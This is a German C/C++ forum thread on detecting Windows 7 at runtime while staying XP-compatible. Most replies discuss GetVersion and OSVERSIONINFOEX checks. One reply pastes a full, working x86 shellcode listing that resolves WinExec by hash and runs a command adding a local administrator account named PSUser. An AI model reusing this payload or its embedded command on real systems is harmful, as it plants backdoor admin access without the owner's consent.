Windows 7 Erkennung?



  • Hallo,

    ich habe in einigen Foren nach einer Routine zur Erkennung von einem Laufenden Windows 7 gesucht und habe folgendes gefunden:

    pointerGNSI = (PGNSI) GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"GetNativeSystemInfo");
    

    Hat auch funktioniert, allerdings haben andere mit dieser Methode definitiv Probleme, scheint als würde der Zugriff auf kernel32.dll gesperrt.

    Gibt es noch andere Lösungen?
    Wichtig ist, das keine neuen W7 Funktionen zum Erkennen benutzt werden dürfen, da das Programm selbst ja auch unter WinXP anfahren muss. (daher externes Laden der kernel32 je nach OS)

    Grüße
    TheNoName





  • Hallo vielleicht kannst du hiermit was anfangen:

    Quelle: http://www.projectshellcode.com/node/22

    [SECTION .text]
    
    BITS 32
    
    global _start
    
    _start:
    
        jmp start_asm
    
    ;DEFINE FUNCTIONS
    
    ;FUNCTION: find_kernel32
    
    find_kernel32:
         push esi
         xor eax, eax
         mov eax, [fs:eax+0x30]
         test eax, eax
         js find_kernel32_9x
     find_kernel32_nt:
         mov eax, [eax + 0x0c]
         mov esi, [eax + 0x1c]
         lodsd
         mov eax, [eax + 0x8]
         jmp find_kernel32_finished
     find_kernel32_9x:
         mov eax, [eax + 0x34]
         lea eax, [eax + 0x7c]
         mov eax, [eax + 0x3c]
     find_kernel32_finished:
         pop esi
         ret
    
    ;END FUNCTION: find_kernel32
    
    ;FUNCTION: find_function
    
    find_function:
         pushad
         mov ebp, [esp + 0x24]
         mov eax, [ebp + 0x3c]
         mov edx, [ebp + eax + 0x78]
         add edx, ebp
         mov ecx, [edx + 0x18]
         mov ebx, [edx + 0x20]
         add ebx, ebp
     find_function_loop:
         jecxz find_function_finished
         dec ecx
         mov esi, [ebx + ecx * 4]
         add esi, ebp ; esi now points to current function string
          ; start of compute hash function
     compute_hash: ; put this into a function
         xor edi, edi ; edi will hold our hash result
         xor eax, eax ; eax holds our current char
         cld
     compute_hash_again:
         lodsb ; puts current char into eax (except first time)
         test al, al ; checks for null - end of function string
         jz compute_hash_finished
         ror edi, 0xd ; rotate the current hash
         add edi, eax ; adds current char to current hash
         jmp compute_hash_again
     compute_hash_finished: ; end of compute hash function
     find_function_compare:
         ;this is where it compares the calculated hash to our hash
         cmp edi, [esp + 0x28]
         jnz find_function_loop
         mov ebx, [edx + 0x24]
         add ebx, ebp
         mov cx, [ebx + 2 * ecx]
         mov ebx, [edx + 0x1c]
         add ebx, ebp
         mov eax, [ebx + 4 * ecx]
         add eax, ebp
         ;this is the VMA of the function
         mov [esp + 0x1c], eax
     find_function_finished:
         popad
         ret
    
    ;END FUNCTION: find_function
    
    ;FUNCTION: resolve_symbols_for_dll
    
    resolve_symbols_for_dll:
         ;about to load current hash into eax (pointed to by esi)
         lodsd
         push eax
         push edx
         call find_function
         mov [edi], eax
         add esp, 0x08
         add edi, 0x04
         cmp esi, ecx
         jne resolve_symbols_for_dll
     resolve_symbols_for_dll_finished:
         ret
    
    ;END FUNCTION: resolve_symbols_for_dll
    
    ;DEFINE CONSTANTS
    
     locate_hashes:
         call locate_hashes_return
    
        ;WinExec ;result hash = 0x98FE8A0E
         db 0x98
         db 0xFE
         db 0x8A
         db 0x0E
    
        ;ExitProcess ;result hash = 0x7ED8E273
         db 0x7E
         db 0xD8
         db 0xE2
         db 0x73
    
    ;END DEFINE CONSTANTS
    
    start_asm: ; start our main program
    
        sub esp, 0x08 ; allocate space on stack for function addresses
         mov ebp, esp ; set ebp as frame ptr for relative offset on stack
    
        call find_kernel32 ;find address of Kernel32.dll
         mov edx, eax
    
        ;resolve kernel32 symbols
         jmp short locate_hashes ;locate address of our hashes
     locate_hashes_return: ;define return label to return to this code
         pop esi ;get constants address from stack
         lea edi, [ebp + 0x04] ;this is where we store our function addresses
         mov ecx, esi
         add ecx, 0x08 ;length of dns shellcode hash list
         call resolve_symbols_for_dll
    
    ;add user section
    
        jmp short GetCommand
     CommandReturn:
         pop ebx ;ebx now holds the handle to the string
    
        xor eax,eax ;empties out eax
         push eax ;push null onto stack as empty parameter value
         push ebx ;push the command onto the stack
         call [ebp+4] ;call WinExec(path,showcode)
    
        xor eax,eax ;zero the register again, clears winexec retval
         push eax ;push null onto stack as empty parameter value
     call [ebp+8] ;call ExitProcess(0);
    
    GetCommand:
         call CommandReturn
         db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
         db 0x00
    
    +--------------- End adduser-dynamic.asm --------------+
    

    Diese Stelle wäre für dich interessant:

    find_kernel32:
         push esi
         xor eax, eax
         mov eax, [fs:eax+0x30]
         test eax, eax
         js find_kernel32_9x
     find_kernel32_nt:
         mov eax, [eax + 0x0c]
         mov esi, [eax + 0x1c]
         lodsd
         mov eax, [eax + 0x8]
         jmp find_kernel32_finished
     find_kernel32_9x:
         mov eax, [eax + 0x34]
         lea eax, [eax + 0x7c]
         mov eax, [eax + 0x3c]
     find_kernel32_finished:
         pop esi
         ret
    

    mov eax, [fs:eax+0x30] <-- Zugriff auf den Thread Information Block

    http://en.wikipedia.org/wiki/Win32_Thread_Information_Block

    Wobei ich sehe gerade dadurch kann man auch nicht 100%ig sagen ob es nun WinXP,Vista oder 7 ist ...

    Aber vielleicht kannst du daraus ja was basteln das es funktioniert.



  • Danke!

    ich glaube ... ich werde zuerst burkhis Variante testen.
    Damals als ich das einbaute fehlten auf der Seite die 6.1 Infos.

    Grüße
    TheNoName



  • Ich habe nun herausgefunden das GetVersion mit auf einer W7 x64 Ultimate Edition 6.1 als Version liefert und als Workstation durchgeht, so wie im Microsoft Artikel beschrieben.
    Ich frage also 6, 1 und NT_Worktsation ab (wProtuktInfo).

    Allerdings habe ich eine Rückmeldung bei der eine x64 Home Premium hier durchfliegt. Nachdem ver im cmd eindeutig 6.1 zeigt kann es nur noch das Workstation Flag sein.

    Auf was müsste eine Home Premium stehen?


  • Mod

    Quatsch, Das funktioniert für Windows 7 und alles spätere egal welche art von Produkt (Startet, Home, Home Premium, etc.):

    bool OSIsWindows7OrLater()
    {
    	const OSVERSIONINFOEX &osvi= GetOSVersionInfo();
    	return (osvi.dwPlatformId & VER_PLATFORM_WIN32_NT)!=0 && 
    			(osvi.dwMajorVersion>6 ||
    			 (osvi.dwMajorVersion==6 &&	
    		      osvi.dwMinorVersion>=1));
    }
    


  • Warum machst du da einen Bitvergleich anstatt:

    if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    

    ?


  • Mod

    Gute Frage.

    Der Code (für andere OS) ist uralt.
    Eigentlichnichtnötig, wenn ich mir ansehe was die aktuelle Doku sagt.

    Aber ich finde komischerweise einen Haufen Code im Netz, der es macht wie ich.
    Vermutlich hat einmal einer einen "überflüssigen" Code entwicklet und der ist von jedem CPP (Copy-Paste-Programer) dann eben kopiert worden 😉
    So auch von mir.


Anmelden zum Antworten